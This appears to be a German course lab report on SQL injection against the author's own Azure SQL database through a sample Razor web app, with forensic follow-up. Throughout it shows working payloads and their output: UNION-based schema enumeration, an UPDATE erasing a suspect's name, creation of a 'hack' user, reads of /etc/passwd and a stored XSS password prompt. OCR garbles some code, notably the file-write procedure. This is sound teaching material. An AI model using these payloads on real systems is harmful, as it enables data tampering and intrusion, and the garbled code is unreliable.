Verbindung ausgefiihrt werden.

return table;

Model der CSHTML-Seite, welche die Logik mit den Datenbankzugriff enthalt.

var builder

= WebApplication.CreateBuilder(args);

// Add services to the container.
builder.Services.AddRazorPages();

var app = builder.Build();

// Configure the HTTP request pipeline.
if (!app.Environment.IsDevelopment())

app.UseExceptionHandler("/Error");

}

app.UseStaticFiles();
app.UseRouting();
app.UseAuthorization();
app.MapRazorPages();

app.Run();

Programm-Datei.



... Fuhren Sie jeweils 5 Beispiele fur SQL-Injection auf lhrer Cloud-Datenbank aus
und arbeiten Sie diese Vorfalle forensisch auf; d.h. suchen Sie nach Quellen, in
denen diese Vorféalle nachgewiesen werden kénnen.

Hier soll das Beispiel aus Kapitel PostgreSQL wiederaufgenommen werden:

Zur Durchfuhrung von SQL-Injections an der eigenen Datenbank sollen Stationen des
Angriffs auf die Datenbank nachgestellt werden, bei dem ein Beschuldigter Namens “John
G.” seinen Namen aus der Vorgangsverwaltung tilgen will.

Als Stationen wurden dabei gewahlt:

¢ Identifizieren des Datenbanksystems
o Identifizieren vorhandener Tabellen und derer Inhalte (Ausspdhen von Daten)
e Verandern der Daten des Beschuldigten (Veranderung von Daten)

Im Nachgang will sich der Beschuldigte noch tiber den genauen Aufbau des
Datenbankservers informieren, diesen sowie das Dateisystem verandern und Code
einschleusen, um zu einem spéteren Zeitpunkt, an dem die SQL-Lilicke moéglicherweise
geschlossen wurde, weitere potenzielle Schwachpunkte zu identifizieren:

¢ Identifizieren des Betriebssystems

¢ Identifizieren samtlicher installierter Pakete inklusive der Versionsnummern
¢ Neuen Benutzer anlegen (Datenbankserver verandern)

e Neuen Benutzer anlegen (Anderungen am Filesystem)

e Einschleusen von beliebigem Code

Identifizieren des Datenbanksystems (Ausspahen von Daten)
C O ® localhost

DblIForensikinDbs ~ Home  Privacy

Forensik Vorgange

Gespeicherte Geratetypen

* AND 1=0 Union SELECT 0, 1, @@version; ‘

P_Grt_Typ_NrF_Herst_NrModell
0 1 Microsoft SQL Azure (RTM) - 12.0.2000.8 Sep 18 2021 19:01:34 Copyright (C) 2019 Microsoft Corporation

Identifizieren vorhandener Tabellen und derer Inhalte (Ausspahen von Daten)
C 0  ©® localhost

" AND 1=0 Union SELECT 0, 1, name from sys.tables —4

P Grt Typ NrF Herst NrModell

0 1 T_Angestellte
C 0 © localhost 0 L T Asservate
0 1 T_Beschuldigte
DbllForensiklnDbs ~ Home  Privacy 0 L T_Delikte
Q 1 T_Dienststellen
. . 0 1 T_Forensik_Vorgaenge
ForenSIk Vorgange 0 1 T_Forensik_Vorgaenge_Beschuldigte
Gespeicherte Geratetypen 0 1 T_Geraetetypen
0 1 T_Hersteller
" AND 1=0 Union SELECT 0, 1, name from sys.databases; - . .
Q 1 T_Kommissariate
0 1 T_Personen
P_Grt_Typ_NrF_Herst NrModell 0 1 T Raenge
0 1 master 0 1 T Schluessel
0 1 datenbanken 0 1 T_Schluesselauspraegungen

68



"AND 1 =0 UNION SELECT 1, 2, ac.name FROM sys.all_columns AS ac INNER JOIN
sys.tables AS t ON t.object_id = ac.object_id WHERE t.name = 'T_Dienststellen’; --

0 @ localhost

DblIForensikinDbs  Home  Privacy

Forensik Vorgange

Gespeicherte Gerdtetypen

"AND 1 = 0 UNION SELECT 1, 2, ac.name FROM sys.all_columns AS ac INNER JOIN sys.tables AS t ON t.object_id = ac.object_id WHERE t.name = ‘T_Dienststellen’; --

P_Grt Typ NrF Herst NrModell

1 2 F_Ausp_Nr
1 2 Ort
1 2 P_Dst_Nr

@ localhost

DbllForensikinDbs ~ Home Privacy

Forensik Vorgange

Gespeicherte Geritetypen

AND 1 = 0 UNION SELECT 1, 2, ac.name FROM sys.all_columns AS ac INNER JOIN sys.tables AS t ON t.object_id = ac.object_id WHERE t.name = 'T_Personen’; --

P_Grt Typ NrF Herst NrModell

1 2 NMName
1 2 P_Pers_Nr
1 2 VName

Forensik Vorgange

Gespeicherte Gerdtetypen

Forensik Vorgange

Gespeicherte Geratetypen

AND 1 = 0 UNIOM SELECT 1, 2, ViName FROM T_Personen TAMD 1 = 0 UNION SELECT 1, 2, NMarme FROM T_Personen; -

P Grt_ Typ_ NrF_Herst NriModell P Grt_Typ_NrF_Herst_NrModell

2 B 1 2 B
2 Cl 1 2 C
2 ] 1 2 x
2 Es 1 2 E
2 G 1 2 G
2 G 1 2 G
2 1 1 2 I

2 1 2 L

2 h i 2 W
2 Pe 1 2 P
2 P 1 2 P
2 P 1 P
2 S 1 . 5
2 50 1 2 5

Verandern der Daten des Beschuldigten (Veréanderung von Daten)

A  @® localhost

DbllForensikinDbs ~ Home  Privacy

Forensik Vorgange

Gespeicherte Geratetypen

"AND 1 = 0; UPDATE T_Personen SET VName = ‘unbekannt’ WHERE VName = "John'; -

P_Grt_Typ_NrF_Herst_NrModell



Abfrage "1" Abfrage "2"
[> Ausfihren L Abfrage speichern L Daten als * exportieren i Nur Editor anzeigen

1 SELECT TOP (1008) * FROM [dbo].[T_Personen]

Ergebnisse  Nachrichten
sterioe nones
Carlo Gambino
E unbekannt Gotti
s Meyer Lansky

© Abfrage erfolgreich | 0s

DbllForensikinDbs  Hese  Privacy

Forensik Vorgange

Geipecherte Geratetypen

TANL T = 0 UPDATE T_Personen 5ET MMame = ‘unbecannt’ WHERE Midarme = '

P_Grt_Typ MrF_Herst NrMadell

Abslrage "2”
SILECT ToP [1200) * FECM [dba].[T_Pericnen)
Ergebanboie
i brbars=t unbsriarnl
B Abhage erfckgreich | Os

Identifizieren des Betriebssystems (Ausspahen von Daten)

Unter nachfolgendem Link sind samtliche Views zu finden, welche fir das Verwalten von
Betriebssysteminfos des SQL Servers verantwortlich sind: https://docs.microsoft.com/en-
us/sal/relational-databases/system-dynamic-management-views/sql-server-operating-
system-related-dynamic-management-views-transact-sgl?view=sql-server-verl5

Relevante View fir Informationen Uber das Host-Betriebssystem des SQL-Servers ist sys.
dm_os_host_info: https://docs.microsoft.com/en-us/sgl/relational-databases/system-
dynamic-management-views/sys-dm-o0s-host-info-transact-sgl?view=sql-server-verl15s,
https://dataedo.com/kb/query/sql-server/how-to-find-operating-system-os-that-server-runs-on



https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sql-server-operating-system-related-dynamic-management-views-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sql-server-operating-system-related-dynamic-management-views-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sql-server-operating-system-related-dynamic-management-views-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-os-host-info-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-os-host-info-transact-sql?view=sql-server-ver15
https://dataedo.com/kb/query/sql-server/how-to-find-operating-system-os-that-server-runs-on

Applies to: ¥ SQL Server 2017 (14.x) and later

Returns one row that displays operating system version information.

Column name Data type Description
host platform nvarchar(256) The type of operating system: Windows or Linux

host_distribution nvarchar(256) Description of the operating system.

Abbildung 3: Quelle: https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-
views/sys-dm-os-host-info-transact-sql?view=sql-server-verl5

Leider schlagt der Zugriff auf die View fehl, da sie erst ab Version 14.x hinzugefligt wurden.
In der kostenlosen Testversion ist Version 12.x installiert.

AulRerdem ist die View sys.dm_os_windows_info relevant, da sie zusatzliche Informationen
bei Windows-Betriebssystemen enthdlt. Diese View ist gem. Microsoft-Docs in allen
Versionen unter Windows verfligbar. Daher wird angenommen, dass es sich um ein Linux
Host-System handelt, es kann aber nicht 100% geklart werden.

Abfrage "1" Abfrage "2"

[> Ausfiihren s Abfrage speichern < Daten als " exportieren

1 SELECT TOP (1009) = FROM sys.dm os host info

Ergebnisse  Nachrichten

Failed to execute query. Error: Invalid cbject name 'sys.dm_os_host_info'.

Abfrage "1" Abfrage "2"

> Ausfiihren w Abfrage speichern % Daten als "" exportieren 22

1 SELECT TOP (1000) * FROM sys.dm os windows_info

Ergebnisse  Nachrichten

Failed to execute query. Error: Invalid object name 'sys.dm_os_windows_info'.

Berechtigungsprobleme kdnnen ausgeschlossen werden.

Fir den Zugriff auf die Views wird die View Server State-Berechtigung bendtigt:


https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-os-host-info-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-os-host-info-transact-sql?view=sql-server-ver15

The SELECT permission on sys.dm_os_host_info is granted to the public role by default. If revoked,

requires VIEW SERVER STATE permission on the server.

® Caution

Beginning with version SQL Server 2017 (14.x) CTP 1.3, SQL Server Management Studio version
17 requires SELECT permission on sys.dm os_hest _info in order to connect to SQL Server. If
SELECT permission is revoked from public, only logins with VIEW SERVER STATE permission can
connect with the newest version of SSMS. (Other tools, such as sqlemd.exe can connect without

SELECT permission on sys.dm os_host_info.)

Abbildung 4: Quelle: https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-
views/sys-dm-os-host-info-transact-sql?view=sql-server-verl5
@® Achtung

Die Standardberechtigungen, die Systemobjekten zum Zeitpunkt der Installation erteilt wurden,

werden sorgfiltig beziiglich méglicher Bedrohungen ausgewertet und miissen nicht im Rahmen

der Hartung der SQL Server -Installation gedndert werden. Alle Anderungen an den

Berechtigungen fiir Systemobjekte kénnen die Funktionalitdt einschranken oder unterbrechen
und potenziell dazu fihren, dass lhre SQL Server -Installation einen nicht unterstiitzten Zustand
aufweist.

Abbildung 5: Quelle: https://docs.microsoft.com/de-de/sql/relational-databases/security/permissions-database-
engine?view=sql-server-verl5

Andere System-Relationen sind bereits enthalten:
Abfrage "1" Abfrage "2"

[> Ausflihren v Abfrage speichern ¥ Daten als " exportieren ~ 522 Nur Editor anzeigen

1 SELECT TOP (1©08) * FROM sys.dm_os_sys_info

Ergebnisse  Nachrichten

2 Suchen, um Elemente zu filtern...

cpu_ticks ms_ticks cpu_count hyperthread_ratio physical_me

4436839836305201 1588305931 2 64 938523636

3
2 Abfrage erfolgreich | Os

Nachfolgend noch einige in diesem Zusammenhang interessante Informationen tber Rechte
und Rollen.

Mit folgendem Statement kénnen die aktuellen Rechte des angemeldeten Nutzers
eingesehen werden.

--Run the below script on the Azure SQL database you want to view the user
permissions

SELECT distinet pr.name, pr.type_desc,

pr.authentication_type_desc, pe.state_desc, pe.permission_name, pe.class_desc
FROM sys.database_principals AS pr

JOIN sys.database_permissions AS pe

ON pe.grantee_principal_id = pr.principal_id;

Abbildung 6: Quelle: https://cloudexcite.com/azure-view-database-user-permissions-on-the-sql-server/


https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-os-host-info-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-os-host-info-transact-sql?view=sql-server-ver15
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name type_desc authentication_type_desc state_desc permission_name  class_desc
dbo SQL_USER INSTANCE GRANT CONMNECT DATABASE

public DATABASE ROLE NONE GRANT SELECT OBJECT_OR_COLUMMN

Die Public-Rolle sollte aus sicherheitstechnischen Griinden unter keinen Umstanden
geandert werden:

Security recommendation about the “Public” database role in SQL Server

Even though the Public database role is granted by default SELECT permissions to certain system catalog views, you should never, ever add more
permissions to this role. Just leave it as it is. If you make the mistake and add more permissions to the public database role then this will mean
that any login that will be granted access to the database it will inherit all these permissions. So please, don't do that!

Abbildung 7: Quelle: https://www.sglnethub.com/blog/the-public-database-role-in-sql-server/

Mit der dbo (Database Owner)-Rolle kénnen alle Aktivitaten zur Konfiguration und Wartung
an der Datenbank vorgenommen werden (inkl. Zugriff auf System-Views). Die Datenbank
kann auch Gber den DROP-Befehl geléscht werden.

CONTROL DATABASE: Has all permissions in the database

db_datareader db_denydatareader

GRANT SELECT ON DATABASE::<name> DENY SELECT ON DATABASE::<name>

ALTER ANY ASSEMBLY
ALTER ANY ASYMMETRIC KEY
ALTER ANY CERTIFICATE

ALTER ANY CONTRACT
db_datawriter db_denydatawriter ALTER ANY DATABASE DDL TRIGGER

GRANT INSERT ON DATABASE::<name> DENY INSERT ON DATABASE::<name> aL ANVORTABASE EVENT. NOTH! o
ALTER ANY DATASPACE

GRANT UPDATE ON DATABASE::<name> DENY UPDATE ON DATABASE::<name> AL ANV L 1AL
ALTER ANY MESSAGE TYPE

GRANT DELETE ON DATABASE::<name> DENY DELETE ON DATABASE::<name> Al ANV RENOTE £ BOIRG
ALTER ANY ROUTE

ALTER ANY SCHEMA
T e ALTER ANY SERVICE

ALTER ANY SYMMETRIC KEY
CREATE SCHEMA CHECKPOINT

CREATE AGGREGATE
ALTER ANV ALTER ANY ROLE, CREATE ROLE CREATE DEFAULT
CREATE FUNCTION
Ll LT ALTER ANY APPLICATION ROLE CREATE PROCEDURE

CREATE QUEUE

There are no database-level permissions CREATE SYNONYM
CREATE TABLE

inherent in the public database role,
v R e oD CREATE TYPE

however some database permissions are
presentby defut. specaly, vIEW CoeATE viEw

ANY COLUMN MASTER KEY DEFINITION, I R e
VIEW ANY COLUMN ENCRYPTION KEY R

DEFINITION, and SELECT permission on
many individual system tbls These

permissions can be revoked.

There are various special purpose roles The other database level permissi are not d
in the msdb database to any fixed database role except db_owner. S 017
erver

Abbildung 8: Quelle: https://docs.microsoft.com/de-de/sql/relational-databases/security/authentication-
access/database-level-roles?view=sql-server-verl5

Identifizieren samtlicher installierter Pakete inklusive der Versionsnummern (Anderungen am
Filesystem)

Leider ist das Ausflihren von CMD oder Bash-Befehlen per Default deaktiviert:
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-
cmdshell-transact-sal?view=sql-server-verl5



https://www.sqlnethub.com/blog/the-public-database-role-in-sql-server/
https://docs.microsoft.com/de-de/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver15
https://docs.microsoft.com/de-de/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver15
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® Important

xp_cmdshell is a very powerful feature and disabled by default. xp_cmdshell can be enabled and
disabled by using the Policy-Based Management or by executing sp_configure. For more

information, see Surface Area Configuration and xp_cmdshell Server Configuration Option.

Abbildung 9: Quelle: https://docs.microsoft.com/en-us/sqgl/relational-databases/system-stored-procedures/xp-
cmdshell-transact-sgl?view=sqgl-server-verl5

Leider konnte mit der Openrowset-Funktion nicht auf das Dateisystem zugegriffen werden.

12 SELECT * FROM OPENROWSET(
13 BULK '/fetc/passud’,
14 SINGLE_CLOB) AS DATA;

Results Messages

Failed to execute query. Error: Cannot bulk load because the file "/etc/passwd” could not be opened. Operating system error code (null).

Quellen: https://www.geeksforgeeks.org/reading-a-text-file-with-sql-server/,
https://docs.microsoft.com/de-de/sal/t-sql/functions/openrowset-transact-sgl?view=sql-
server-verls

Folglich ist kein Zugriff auf das Dateisystem maoglich.

Dies bestatigt auch ein letzter Versuch mit der Bulk Insert-Funktion:

15 CREATE TABLE test(line varchar(2880));
16 BULK INSERT test FROM '/etc/passwd';
17 SELECT line FROM test

18

19

Results Messages

Failed to execute guery. Error: Cannot bulk load because the file "/etc/passwd” could not be opened. Operating system error code (null).

15 CREATE TABLE boof(line varchar(2ge8));
16 BULK INSERT boof FROM 'c:‘boot.ini';
17 SELECT line FROM boof

Results Messages

Failed to execute query. Error: Cannot bulk load because the file "c:\boot.ini" could not be opened. Operating system error code (null).

Neuen Benutzer anlegen (Datenbankserver verandern)

Es wird angenommen, dass der Nutzer keinen Zugriff auf die Master-Datenbank haben wird.
Daher wird ein SQL User mit einem Passwort auf der Datenbank eingerichtet (Contained
Database Users).


https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15
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Understanding the Types of Users

Management Studio presents 6 options when creating a database user. The following graphic shows

the 6 options in the green box, and indicates what they represent.

Identity authenticated by Windows
(usyally a domain account)
“l i User database: users

@ “Windows i Q wi user (can be a Windows user or
= group) — can only connect to this database

user account

SQL user with password (password validated
by the database) — can only connect to this
i master database: logins database
Windows
group account a andows authentication login for a SQL user with login — can be configured to
Windows user connect to several databases

O Windows authentication login for a
Windows group

Special purpose logins:
Cannot be used to connect to SQL Server, but

0 sQL server authentication login can own objects and have permissions

{password validated by SQL Server at
the master database) 3 saL user without login (has no password)

O User mapped to a certificate t @

O User mapped to an asymmetric kev?

Abbildung 10: Quelle: https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-
access/create-a-database-user?view=sql-server-ver15

https://docs.microsoft.com/en-us/sal/relational-databases/security/contained-database-users-
making-your-database-portable?view=sql-server-verl5

C 0 @ localhost
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" AND 1=0; CREATE USER hack WITH PASSWORD = 'Oj=(2KdHfuF&:)2iss8’; COMMIT; 4

P_Grt_Typ_NrF_Herst_NrModell

Das Statement wird fehlerfrei ausgefuhrt. Der Nutzer wurde tatsachlich in der Datenbank
angelegt:

DblIForensikinDbs ~ Home  Privacy
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AND 1 = 0 UNION SELECT 1, 2, name FROM sys.database_principals; -

P_Grt Typ NrF_Herst NrModell

2 public

dbo

guest
INFORMATION_SCHEMA
sys

NN

hack

db_owner
db_accessadmin
db_securityadmin
db_ddladmin
db_backupoperator
db_datareader
db_datawriter

1
1
1
1
1
1
1
1
1
1
1
1
1
1 db_denydatareader
1

NN NN NN

db_denydatawriter
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Einschleusen von beliebigem Code

In Kapitel Identifizieren samtlicher installierter Pakete inklusive der Versionsnummern
(Anderungen am Filesystem) wurde bereits erfolglos versucht auf das Dateisystem
zuzugreifen.

Als Workaround wurde daher folgendes versucht (die Statements kénnen einfach in das
Suchfeld der Webapplikation nach ,* AND 1=0;“ eingefiigt werden:

1) Anlegen einer neuen Relation, in die Inhalt der Datei und Pfad hinterlegt wird.

“ICREATE TABLE [dbo].[file_write]
[
[ID] bigint NOT NULL IDENTITY(1,1) ,
[PATH_FILE] nvarchar(5@@) NOT NULL ,
[TEXT_FILE] nvarchar(56@) NOT NULL ,
[DATE_WRITE] datetime NOT NULL ,
PRIMARY KEY ([ID])

2) Erstellen einer Prozedur, welche die in 1) erstellte Relation fillt.
CREATE PROCEDURE [dbo].[insertFileWrite]
@PATH_FILE nvarchar(5e8),

@TEXT_FILE nvarchar(5ee)

)
AS
BEGIN
DECLARE @NOW datetime = CURRENT_TIMESTAMP

INSERT INTO dbo.file write(PATH_FILE, TEXT_FILE, DATE_WRITE)
VALUES (PATH FILE , BTEXT FILE , @NOW)
Eng|

3) Erstellen einer Prozedur, welche den Inhalt in der in 2) gefillten Relation in die
jeweiligen Dateien schreibt.
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PREV = @PATH_FILE
<> @PATH_FILE_PREV)

@FileTp int

PROCEDURE [dbo]. [writeAllIntoFile]
@OLE int

TRANSACTION t_writeAllIntoFile
EXECUTE sp_OAC
EXECUTE sp_0

FETCH NEXT FROM

DEALLOCATE c_writeFile
RETURN -999

END CATCH

END

mmmmmm

IN TRY

DECLARE c_writeFile CURSOR FOR

ROLLBACK TRANSACTION t.

COMMIT TRANSACTION

EXECUTE sp_0ADe
END TRY

SET @PATH_F
EXECUTE
EXECUTE

BEGIN CATCH

END

uuuuuuuu
mmmmmmmmm

!
o
B
B

EXEC sp_configure 'Ole Automation Procedures’;

SCREATE

8

Leider schlug dieser Workaround und auch der im nachfolgenden Stackoverflow-Beitrag
skizzierte Ansatz fehl, da anscheinend die Ausfiihrung von Ole Automation Procedures
deaktiviert ist: https://stackoverflow.com/questions/49629017/how-to-write-string-to-a-text-
file-inside-an-ms-sql-statement

mi mf master

Meldung 2813, Ebens 16, .
Could not find stored dure 'sp configure'.

Die Ole Automation Procedures Konfiguration ist nicht zuganglich.

Quelle: https://docs.microsoft.com/en-us/sgl/database-engine/configure-windows/ole-
automation-procedures-server-configuration-option?view=sql-server-verl5
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AuRerdem wurde versucht Code via Cross-Site-Scripting-Attacke auf dem Client
auszufuhren. Hierflir wurde in einem 1. Schritt versucht durch eine fehlerbasierte SQL-

Injection Informationen tber die zugrundeliegenden Technologien zu erhalten.
O I
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* AAAAAAAND;

C A O O ldah

An unhandled exception occurred while processing the request.

SqlException: Incorrect syntax near 'AAAAAAAND',
Unclosed quotation mark after the character strin

ystem. Data SqlClient SqlConnection, Exception exception, bool breakConnection, Action <Action> wrapCloselnAction)

SqlException: Incorrect syntax near "AAAAAAAND'. Unclosed quotation mark after the character string *.

System Data.SqlClient. SqlConnection OnError(SqlException exception, bool breakConnection, Action <Action> wrapCloselnAction)

System Data.SqlClient.SqlinternalConnection.OnError(SqlException exception, bool breakConnection, Action<Action> wrapCloselnAction)

System Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, bool callerHasConnectionLock, bool asyncClose)

System Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqgiCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, out bool dataReady)

System Data.SqlClient.SqlDataReader.TryConsumeMetaData()

System.Data.SqlClient.SqIDataReader.get MetaData()

System.Data.SqlClient SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, string resetOptionsString)

System.Data.SqlClient.SglCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, bool returnStream, bool async, int timeout, out Task task, bool asyncWrite, SqlDataReader ds)

System Data.SqlClient. SqiCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, bool returnStream, TaskCompletionSource <object> completion, int timeout, out Task task, bool asyncWiite, string mett
System Data.SqlClient.SglCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, bool returnStream, string method)

System Data.SqlClient.SglCommand.|
System Data.SqlClient.SqlCommand.

xecuteReader(CommandBehavior behavior)

xecuteDbDataReader(CommandBehavior behavior)

System.Data.Common.DbCommand.System.Data.|DbCommand.ExecuteReader(CommandBehavior behavior)

System.Data.Common.DbDataAdapter.Filllnternal(DataSet dataset, DataTable[] datatables, int startRecord, int maxRecords, string srcTable, IDbCommand command, CommandBehavior behavior)
System.Data.Common.DbDataAdapter.Fill(DataTable[] dataTables, int startRecord, int maxRecords, IDbCommand command, CommandBehavior behavior)
System.Data.Common.DbDataAdapter.Fill(DataTable dataTable)

DblIForensikinDbs.Pages.IndexModel.findAndReturnGeraetetypen(string whereArgument) in Index.cshtml.cs

- | e2. adapter.Fill(table);
DblIForensikinDbs.Pages.IndexModel.OnPost(string searchinputField) in Index.cshtml.cs
. 30. ypen = pen(searchInputField)s

Microsoft AspNetCore Mvc RazoiPages. Infrastructure.ExecutorFactory-+VoidHandlerMethod.Execute (object receiver, object[] arguments)

Microsoft. AspNetCore. Mvc.RazorPages.Infrastructure.PageActioninvoker.InvokeHandlerMethodAsync()

Microsoft AspNetCore Mvc.RazorPages.Infrastructure.PageActioninvoker.InvakeNextPageFilterAsync()

Microsoft AspNetCore Mvc.RazorPages.Infrastructure.PageActioninvoker.Rethrow(PageHandlerExecutedContext context)
Microsoft.AspNetCore.Mvc.RazorPages.Infrastructure.PageActioninvoker.Next(ref State next, ref Scope scope, ref object state, ref bool isCompleted)
Microsoft. AspNetCore.Mvc.RazorPages.Infrastructure.PageActioninvoker. nvoke InnerFilterAsync()

Microsoft. AspNetCore Mvc.Infrastructure.Resourcelnvoker. <InvokeNextResourceFilter>g_Awaited|25_0(Resourcelnvoker invoker, Task lastTask, State next, Scope scope, object state, bool isCompleted)
Microsoft.AspNetCore. Mvc.Infrastructure.Resourcelnvoker.Rethrow(ResourceExecuted ContextSealed context)

Microsoft AspNetCore.Mvc Infrastructure.Resourcelnvoker.Next(ref State next, ref Scope scope, ref object state, ref bool isCompleted)

Microsoft. AspNetCore Mvc.Infrastructure.Resourcelnvoker.InvokeFilterPipelineAsync()

Microsoft AspNetCore. Mvc.Infrastructure.Resourcelnvoker. <InvokeAsync>g__Logged|17_1(Resourcelnvoker invoker)

Microsoft AspNetCore.Mvc.Infrastructure.Resourcelnvoker. <InvokeAsync>g__Logged|17_1(Resourcelnvoker invoker)

Microsoft. AspNetCore.Routing.EndpointMiddleware. < Invoke>g__AwaitRequestTask|6_0(Endpoint endpoint, Task requestTask, ILogger logger)
Microsoft. AspNetCore Authorization.AuthorizationMiddleware. Invoke(HttpContext context)

Microsoft AspNetCore Diagnostics DeveloperExceptionPageMiddleware Invoke(HttpCantext context)

System.Data.SqlClient.SqlException (Px88131964): InCOrrect Syntax near "AAARAAAND'
Unclosed quotation mark after the character string '’
at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnaction, Action™1 wrapCloseInaction)
st System.Data.Sqlclient.SqlInternalConnection.OnError(sqlexception exception, Boolean breakComnection, Action'l wrapCloseInaction)
st System.Data.SqlClient.TdsParser.Tl i larning(T: ject stateObj, 8colean callerHasConnectionlock, Boolean asyncClose)
at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand emdHandler, sqlDataReader dataStream, BulkCopySimpleResultset bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)
at System.Data.SalClient.SalDataReader.TryConsunetetaDatal)

Verwendet wurde gem. den Fehlermeldungen das Razor-Framework sowie der SqglClient.

Ahnlich wie bei Flask aus dem Python-Umfeld werden auch von Razor automatisch alle
Nutzereingaben escaped. Um die Escape-Funktion zu deaktivieren, misste die
Beispielapplikation umprogrammiert werden.



HTML Encoding using Razor

The Razor engine used in MVC automatically encodes all output sourced from variables, unless you work really hard to
prevent it doing so. It uses HTML attribute encoding rules whenever you use the @ directive. As HTML attribute encoding
is a superset of HTML encoding this means you don't have to concern yourself with whether you should use HTML
encoding or HTML attribute encoding. You must ensure that you only use @ in an HTML context, not when attempting to

insert untrusted input directly into JavaScript. Tag helpers will also encode input you use in tag parameters.

Take the following Razor view:

CSHTML
untrustedInput =
untrustedInput

This view outputs the contents of the untrustedinput variable. This variable includes some characters which are used in
XSS attacks, namely <, " and >. Examining the source shows the rendered output encoded as:

HTML ™ copy

&1t;&quot;123&quot ; &gt ;

Abbildung 11: Quelle: https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-
scripting?view=aspnetcore-6.0

DbllForensikinDbs ~ Home  Privacy

Forensik Vorgange

Gespeicherte Gerdtetypen

Modell Name

P_Grt_Typ_NrF_Herst_Nr Modell
1 1 <code> <script type = “text/javascript”>prompt(“bitte pw", "");</script> </code>

+d>81t; codeBgt;&1t;script type - 8quot;text/javascriptiquot;&gt;prompt(Squot;bitte pudquot;, &quot;&quot;);&lt;/scriptigt;8lt;/codelgt;</td

AuRerdem scheint die Attributlange nicht flir das zu speichernde Statement auszureichen.
Das nachfolgende Statement fiihrt zu keiner Anderung in der Datenbank.


https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-6.0
https://docs.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-6.0

© localhost

DbllForensikinDbs ~ Home  Privacy

Forensik Vorgange

Gespeicherte Geratetypen

' AND 1=0; Update T_Geraetetypen Set Modell = '<code><script type = “text/javascript”>prompt("bitte pw", "");</script></code>" WHERE Modell = "E15"; --

—
P_Grt_Typ_NrF_Herst_NrModell

1 1 E15

2 2 Pinephone
3 3 G5

4 4 Aspire

5 5 Cruzer

6 6 Cruzer

7 6 Eigenbau
8 7 Xperia

9 1 E15

10 2 Pinephone
11 3 G5

12 4 Aspire

13 5 Cruzer

14 6 Cruzer

15 6 Eigenbau
16 7 Xperia

Weitere Beispiele

d C @ O ® locahost

DbllForensikinDbs  Home Privacy

Forensik Vorgange

Gespeicherte Gerdtetypen

e15 % OR1=1; -

P_Grt_Typ_NrF_Herst_NrModell
E15
Pinephone
G5

Aspire
Cruzer
Cruzer
Eigenbau
Xperia

E15
Pinephone
G5

Aspire

[T I B

Cruzer
Cruzer

Eigenbau

- T - A R P L R - T B AN S VY R R

Xperia

0)
In-Band-SQL-Injection (Parameterveranderung)
4 C @ 0 ® localhost

DbllForensikinDbs  Home Privacy

Forensik Vorgange

Gespeicherte Gerdtetypen

€15 AND 1=0 UNION SELECT 1, 2, '3} ——l

P_Grt_Typ_NrF_Herst_NrModell
1 2 3

Unionbasierte SQL-Injection
1) el5'; SELECT p.P_Pers_Nr, b.PF_Beschuldigter NR FROM [dbo].[T_Personen] AS
p FULL OUTER JOIN [dbo].[T_Beschuldigte] AS b ON p.P_Pers_Nr =



b.PF_Beschuldigter NR; --

d C @ [0 O loclhost

DblIForensikinDbs ~ Home  Privacy

Forensik Vorgédnge

Gespeicherte Gerdtetypen

e15" SELECT p.P_Pers_Nr, b.PF_Beschuldigter_NR FROM [dbo].[T_Personen] AS p FULL OUTER JOIN [dbo].[T_Beschuldigte] AS b ON p.P_Pers_Nr = b.PF_Beschuldigter_

P_Grt_Typ_NrF_Herst_NrModell
1 1 E15
9 1 E15

Das Programm wertet autom. nur die erste Abfrage aus. Somit sind ohne zusatzliche
Analysen und Konfigurationen keine Multiabfragen mdéglich. Im Ms Azure Abfrage-
Editor wird das erwartete Ergebnis angezeigt.

= Microsoft Azure

and does (G+/

=g datenbanken (datenbanken/datenbanken) | Query editor (preview)

8; SELECT p.P_Pers_Nr, b.PF_Beschuldigter NR FROM [dbo].[T_Personen] AS p FULL [dba]

| eovere

® Pow

b w

settings

© c

&

11! Properties

Locks

Data management

® fepiicas

) syncto other databases
Results 13,
P_Pers_Nr BF_Beschuldigter NR
3

"AND 1=0 UNION SELECT p.P_Pers_Nr, b.PF_Beschuldigter NR, p.NName FROM
[dbo].[T_Personen] AS p FULL OUTER JOIN [dbo].[T_Beschuldigte] AS b ON
